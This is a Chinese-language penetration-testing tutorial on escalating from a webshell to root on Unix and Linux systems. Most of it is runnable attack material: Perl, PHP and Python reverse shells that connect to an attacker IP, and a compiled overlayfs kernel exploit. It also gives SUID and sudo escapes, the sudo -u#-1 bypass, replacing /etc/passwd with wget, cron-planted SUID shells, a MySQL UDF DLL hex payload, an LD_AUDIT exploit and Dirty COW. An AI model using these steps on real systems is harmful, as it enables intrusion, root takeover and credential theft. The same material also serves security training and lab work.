郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

系统提权之:Unix 提权

1 Unix 内核漏洞提权

通常我们在获取到一个 Webshell 的时候,一般权限都是 WEB 容器权限且权限较低(如在 IIS 就是 IIS 用户组权限,在 Apache 就是 Apache 权限)。如果想进行内网渗透就必须将权限提权到最高,如系统权限或超级管理员权限。

1.1 利用前提

获得一台靶机的 Webshell 后门。

1.2 利用 NC 建立 Shell 会话(便于操作)

为了防止会话被靶机的防火墙阻断,使用反弹 Shell。

1.2.1 本地配置 NC 监听

diegocr/netcat: NetCat for Windows (github.com)

nc -vlp 1234

1.2.2 上传 perl-reverse-shell.pl 反弹 Shell

perl-reverse-shell.pl 文件下载地址

  1. 修改文件中 IP 变量参数为本地主机 IP 地址,如:
my $ip = '192.168.100.1';
my $port = 1234;
# 端口默认为 1234,可自定义,需要注意本地 NC 监听的端口也需要修改。
  1. 修改完成后,利用菜刀或蚁剑连接 Webshell 后门,上传 perl-reverse-shell.pl 到靶机上,如:
# pwd
/tmp
# ls
perl-reverse-shell.pl
  1. 给 perl-reverse-shell.pl 文件添加执行权限
chmod +x perl-reverse-shell.pl
  1. 执行 perl-reverse-shell.pl 文件
./perl-reverse-shell.pl

1.3 查询 Unitx 系统内核信息

# cat /etc/issue
Ubuntu 15.04 \n \l # cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=15.04
DISTRIB_CODENAME=vivid
DISTRIB_DESCRIPTION="Ubuntu 15.04"
NAME="Ubuntu"
VERSION="15.04 (Vivid Vervet)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 15.04"
VERSION_ID="15.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" # uname -a
Linux moonteam-virtual-machine 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
# # lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 15.04
Release: 15.04
Codename: vivid

1.4 查找内核版本对应的提权 EXP

使用 www.exploit-db.com 网站进行查找,如:查找:3.19.0 对应的提权 EXP 为 37292.c:

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit (exploit-db.com)

1.5 提权

在本地编译或在靶机上编译 EXP 文件:

# ls
37292.c
# gcc -o exp 37292.c
# ls
37292.c
exp

运行 EXP 提权

#提权之前
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data) #提权
$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off #提权之后
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

1.6 切换 shell

以 bash shell 交互命令。

前提

  • 靶机安装了 Python
python -c "import pty; pty.spawn('/bin/bash')"

2 SUID 提权

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的 UID 和 GID。

2.1 利用前提

  1. SUID只对二进制文件有效
  2. 调用者对该文件有执行权
  3. 在执行过程中,调用者会暂时获得该文件的所有者权限
  4. 该权限只在程序执行的过程中有效

2.2 SUID/SGID/SBIT:

  1. SUID:set_uid(强制位): [s 4]

    • 它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。,(必须是可执行,二进制的,不能在目录上设置suid的权限。)
  2. SGID:set_gid sgid: [s 2]
    • 它出现在文件所属组权限的执行位上面,它对普通二进制文件和目录都有效。当它作用于普通文件时,和SUID类似,在执行该文件时,用户将获得该文件所属组的权限。当SGID作用于目录时,意义就非常重大了。当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。
  3. SBIT:stick_bit : [t 1 ]
    • 它出现在其他用户权限的执行位上,它只能用来修饰一个目录。当某一个目录拥有SBIT权限时,则任何一个能够在这个目录下建立文件的用户,该用户在这个目录下所建立的文件,只有该用户自己和root可以删除,其他用户均不可以。

2.3 SUID 提权

SUID 可以让调用者以文件拥有者的身份运行该文件,因此利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。

2.4 查找可利用的 SUID 文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
命令解析:
/ 表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s 表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2 表示该进程的第二个文件描述符,即stderr(标准错误)
> 表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

2.5 已知可用来提权的命令

文件需拥有 SUID 权限

2.5.1 nmap 提权

nmap --interactive
nmap> !sh
sh-3.2.5# whoami
root

2.5.2 find 提权

$ find /etc/passwd -exec whoami \;
root $ find /etc/passwd -exec /bin/sh \;
# # 如果getshell时,未能成功获取到root权限,需要执行以下命令
$ find /etc/passwd -exec /bin/sh -p \;

2.5.3 bash 提权

$ bash -p
#

2.5.4 cp 提权

sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
# cp filename # 通过 cp chmod 提权
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'

2.5.5 more/less 提权

more /etc/passwd
!/bin/bash
less /etc/passwd
!/bin/sh

2.5.6 awk 提权

awk 'BEGIN {system("/bin/bash")}'

2.5.7 vim 提权

vim file
:!whoami
# 或者
vim -c ':!whoami'

2.5.8 man 提权

man passwd
!/bin/bash

2.5.9 python 提权

import os
os.system("/bin/bash")

2.5.10 tcpdump 提权

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

2.5.11 perl 提权

exec "/bin/bash";

2.5.12 wget 提权

# 生成账号密码
openssl passwd -1 -salt fcarey Admin123
$1$fcarey$Gwvaa.SgKoSQHuo5m5g2k. # 在kali中,下载目标主机上的/etc/passwd文件,并在最后添加以下内容,并保存为passwd
fcarey:$1$fcarey$Gwvaa.SgKoSQHuo5m5g2k.:0:0:root:/root:/bin/bash # 使用wget替换目标系统上的/etc/passwd文件
wget 192.168.0.2/passwd -O /etc/passwd

2.5.13 cpulimit 提权

cpulimit -l 100 -f -- /bin/sh -p

2.5.14 php提权

php -r '$sock=fsockopen("192.168.0.2",2333);exec("/bin/bash -i <&3 >&3 2>&3");'
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 2333

2.3 Python 反弹 shell

若靶机上存在 python 环境,可开启反弹 shell

在本地监听 1234 端口

nc -vlp 1234

在靶机上反弹一个 sh 类型的 shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3 Sudo 提权

使用 sudo 可以执行一个 root 才能执行的命令,但是需要输入密码,这个密码并不是 root 的密码而是用户自己的密码。默认只有 root 用户能使用 sudo 命令,普通用户想要使用 sudo 需要 root 预先设定。

3.1 配置 sudo 账户

使用 visudo 命令去编辑相关的配置文件 /etc/sudoers

# 指定编辑器编辑 /etc/sudoers
EDITOR=gedit visudo # 让用户 test 以任意非 root 身份运行 vim、id 命令
test ALL = (ALL, !root) /usr/bin/vim
test ALL = (ALL, !root) /usr/bin/id # test 指定 test2 用户运行 vim
sudo -u test2 vim
# 或直接指定用户的 UID 来代替用户名。(假定 test2 用户的 UID 为 1003)
sudo -u#1003 vim

3.2 sudo 漏洞

苹果安全研究员 Joe Vennix 就在 sudo 上发现了一个漏洞,只要用户在使用 sudo 命令时指定 UID 为 -14294967295 ,就可以以 root 身份执行命令。

产生原因是 sudo 命令在将 UID 转换为对应用户时,会将 -14294967295 这两个异常数字视为 0 ,而 0root 用户的 UID

例如,下面的命令就可以利用这个漏洞以 root 身份运行 /usr/bin/id ,即使 /etc/sudoers 文件明确拒绝用户 test 这样做。

# visudo 配置
# User privilege specification
test ALL=(ALL,!root) /usr/bin/id # 登陆 test 用户测试 sudo 漏洞
$ sudo id
对不起,用户 test 无权以 root 的身份在 moonteam-virtual-machine 上执行 /usr/bin/id。
$ id
uid=1001(test) gid=1001(test) 组=1001(test)
$ sudo -u#-1 id
uid=0(root) gid=0(root) 组=0(root)

3.3 利用 sudo 配置不当提权

如果在赋予普通用户相应权限时,使其以 root 用户身份执行,导致提权漏洞:

# 如 find
sudo find . -exec /bin/sh \; -quit sudo sh
# 复制 chmod 执行文件到当前目录,给当前目录下的 chmod 命令增加 SUID 权限。
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
类似的有:
sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
sudo sh -c 'cp $(which find) .; chmod +s ./find'

4 劫持环境变量提权

所利用的命令为:/usr/bin/env /bin/bash

4.1 创建 env_exp.c 文件

//env_exp.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h> int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid(); setresgid(gid, gid, gid);
setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?");
}

4.1.1 编译 env_exp.c 文件

gcc -o env_exp env_exp.c

# root 模式下配置 env_exp SUID 权限
chmod u+s env_exp # 验证 env_exp
./env_exp
and now what?

4.2 创建自定义 echo 命令

4.2.1 创建 echo.c 文件

// tmp 目录文件下
// echo.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h> int main(int argc, char **argv, char **envp)
{
system("/bin/bash");
}

4.2.2 编译 env_exp.c 文件

gcc -o echo echo.c

4.2.3 验证

普通用户,/tmp 目录下:

# 查看当前 PATH 环境变量
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games # 配置把当前 tmp 目录增加到环境变量
$ export PATH=.:$PATH # 查看此时 PATH 环境变量
$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games $ ./env_exp
设置了PATH 执行 env_exp 的时候会优先从当前目录下查找程序。所以 echo 命令会被劫持,

执行 env_exp 程序,由于 env_exp 程序具有 suid 位,所以 env_exp 会以自身权限执行 /tmp/echo 命令。/tmp/echo又以 env_exp 的权限执行了/bin/bash命令,因此我们得到了一个 env_exp 权限的 shell

5 CRON JOBS 提权

5.1 /tmp 下创建 getdash.py 脚本:

#!/usr/bin/python
#
import os
import sys
try:
os.system('chmod u+s /bin/dash')
except:
sys.exit()

5.2 赋予权限:

chmod +x getdash.py
ls -la getdash.py

5.3 设置计划任务

配合 crontab 设置计划任务,并每隔1分钟运行一次 getbash.py :

vim /etc/crontab
1 * * * * root /tmp/getdash.py

5.4 执行 dash

ls -la /bin/dash
-rwsr-xr-x 1 root root 121272 2月 19 2014 /bin/dash $ dash
# cat /etc/shadow

6 MYSQL UDF提权

MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权

6.1 什么是 UDF

UDF (user defined function),即用户自定义函数。根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数。

6.2 利用方式

原理:通过自定义库函数来实现执行任意的程序

前提: 在 mysql 库下必须有 func 表,并且在 ‑‑skip‑grant‑tables 开启的情况下,UDF 会被禁止;

利用途径: 通过获得的插件库路径,找对应操作系统的 udf 库文件,利用 udf 库文件加载函数并执行命令

# 查看  secure_file_priv  的值
show global variables like 'secure%';
`secure_file_priv` 参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。
- NULL :默认,表示限制 Mysql 不允许导入导出。
- /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
- 空值:表示不限制 Mysql 的导入|导出 # 获取插件库路径
mysql> show variables like "%plugin%"; # 查看系统构架
mysql> show variables like "%compile%"; # 找对应操作系统的 payload 库文件
可以去 kali 中/usr/share/metasploit-framework/data/exploits/mysql/ 下载对应的文件 # 将dll文件写入 plugin 目录,并且创建函数
创建一个表并将二进制数据插入到十六进制编码流中。可以通过insert语句或将其分解为多个部分,然后使用 update 语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "D:/Programs/PHPStudy/MySQL/lib/plugin/udf.dll"; # 创建函数 sys_eval
# 引入的函数是 sys_eval
# shared_library_name(共享包名称): udf.dll
create function sys_eval returns string soname 'udf.dll';
#查看创建的sys_eval函数
select * from mysql.func where name = 'sys_eval'; # 使用系统命令
# 将 udf.dll 文件写入 plugin 目录后,便可以使用 sys_eval 函数
select sys_eval('whoami');

7 GNU C library动态链接区$ORIGIN溢出提权

适用于 RHEL5-RHEL6 CENTOS5-CENTOS6 提权

提权教程:GNU C library动态链接区$ORIGIN溢出提权 - 血梦博客 - 专注于网络安全|黑客学习|渗透测试|代码审计|国内最专业的黑客技术博客 (hacksec.cn)

mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit/
cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
} gcc -w -fPIC -shared -o /tmp/exploit payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

8 脏牛漏洞提权

8.1 脏牛漏洞

又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel 团队在2016 年 10 月 18 日已经对此进行了修复。

原理分析:Linux 内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得 root 权限。

漏洞范围:Linux内核 >= 2.6.22(2007 年发行,到 2016 年 10 月 18 日才修复)

EXP地址:FireFart/dirtycow (github.com)

POC地址:aishee/scan-dirtycow: Scan vuls kernel CVE-2016-5195 - DirtyCow (github.com)

8.2 利用前提

获得一台 unix 靶机的 Webshell 后门。

8.3 上传 EXP 文件到靶机

  1. 通过蚁剑上传 exp 文件(也可以对 exp 进行编译后上传)。

  2. 通过如下命令编译 EXP 文件:

    gcc -pthread dirty.c -o dirty -lcrypt
    chmod +x dirty

8.4 提权

执行编译后的 Payload,并设置密码为"yourpasswd",默认提权后的用户名为 firefart

./dirty yourpasswd

提权成功后截图:

使用 su firefart 或者 ssh firefart@host 远程连接靶机:

提权成功!

系统提权之:Unix 提权的更多相关文章

  1. MySQL提权之mof提权

    mof提权原理 关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次 ...

  2. Shiro(4)默认鉴权与自定义鉴权

    =========默认鉴权======== 过滤链中定义: <!-- 过滤链定义 --> <property name="filterChainDefinitions&qu ...

  3. [原创]IIS提权工具-VBS提权脚本免杀生成器

    [原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53|  分类: 原创工具 VBS提权脚本随机加密生成器[K.8]  Author: QQ吻 QQ:39 ...

  4. Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...

  5. MySQL提权之udf提权(获得webshell的情况)

    什么是udf提权? MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf. 它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.d ...

  6. 提权基础-----mysql-udf提权

    1.总结关于udf提权方法 通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连 (1).将udf.dll代码的16进制数声明给my_udf_a变量 set @my_ud ...

  7. MS14-068提权和impacket工具包提权

    ms14-068提权 工具利用 a)拿下边界机win7,并已经有win7上任意一个账号的密码 -u 用户名@域 -p 用户密码 -s 用户sid -d 域控 ms14-068.exe -u test3 ...

  8. MySQL提权之udf提权(无webshell的情况)

    0x00 介绍 本篇我们来讲无webshell时利用udf进行提权 0x01 前提 1. 必须是root权限(主要是得创建和抛弃自定义函数) 2. secure_file_priv=(未写路径) 3. ...

  9. 第三方提权之serv-u提权

    文章比较简单,只是做一个科普.给一个好朋友的. 倘若口令更改了大家可以去serv-u的目录(默认路径:C:\Program Files\Serv-U\)找其配置文件(ServUDaemon.ini), ...

  10. [提权]域内提权神器 MS14-068 完整EXP

     可以让任何域内用户提升为域管理员     c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-2 ...

随机推荐

  1. [.NET学习]EFCore学习之旅 -2 简单的增删改查

    1.实例化创建数据库上下文类 首先实例化一个数据库操作上下文类,注意到DbContext实现了IDisposable接口,所以使用using语句,避免内存泄露. 2.插入 以Person类为例,先生成 ...

  2. bug处理记录:Java HotSpot(TM) 64-Bit Server VM warning: ignoring option PermSize=512M; support was removed in 8.0

    1. 报错: Java HotSpot(TM) 64-Bit Server VM warning: ignoring option PermSize=512M; support was removed ...

  3. 【vue3】element-plus,Checkbox-Group多选框之绑定选中数据不选中问题

    今天记录一下在新项目vue3中,使用的element-plus组价库遇到的一个问题!场景如下:有一个表格的column绑定的数组对象,我需要对表格的头部实现动态可配置显示表格列,由于绑定的column ...

  4. 多表查询两种方法、可视化软件navicat、python操作mysql、pymysql模块

    目录 多表查询的思路 多表查询的两种方法 小知识点补充数说明 可视化软件Navicat 安装教程 数据库常用操作 多表查询练习题 python 操作MySQL pymysql补充说明 Non-grou ...

  5. 高可用系列文章之三 - NGINX 高可用实施方案

    前文链接 高可用系列文章之一 - 概述 - 东风微鸣技术博客 (ewhisper.cn) 高可用系列文章之二 - 传统分层架构技术方案 - 东风微鸣技术博客 (ewhisper.cn) 四 NGINX ...

  6. .Net执行SQL/存储过程之易用轻量工具

    支持.Net/.Net Core/.Net Framework,可以部署在Docker, Windows, Linux, Mac. 由于该工具近来被广东省数个公司2B项目采用,且表现稳定,得到良好验证 ...

  7. JavaScript:操作符:逻辑运算符及其隐式转换数据类型

    逻辑非! 用来对布尔值进行取反,即!true = false: 当取反的变量不是布尔值,会进行隐式转换为布尔值: 非0的数字,都转换为true 非空字符串,转换为true 非空对象,转换为true I ...

  8. [C++]全面理解C++中的引用

    一.引用的本质是什么 说到引用,一般C++的教材中都是这么定义的: 1,引用就是一个对象的别名. 2,引用不是值不占内存空间. 3,引用必须在定义时赋值,将变量与引用绑定. 那你有没有想过,上面的定义 ...

  9. VUE上传表格文件发送后端,后端解析以及上传文件,前端进行解析的实现方法

    首先来说前端上传表格,然后利用纯前端技术进行解析表格的办法 详细步骤----请点击这里 接下来来说上传发送给后端的代码实现 html <input ref="myInput" ...

  10. vulnhub靶场之HACKSUDO: PROXIMACENTAURI

    准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hac ...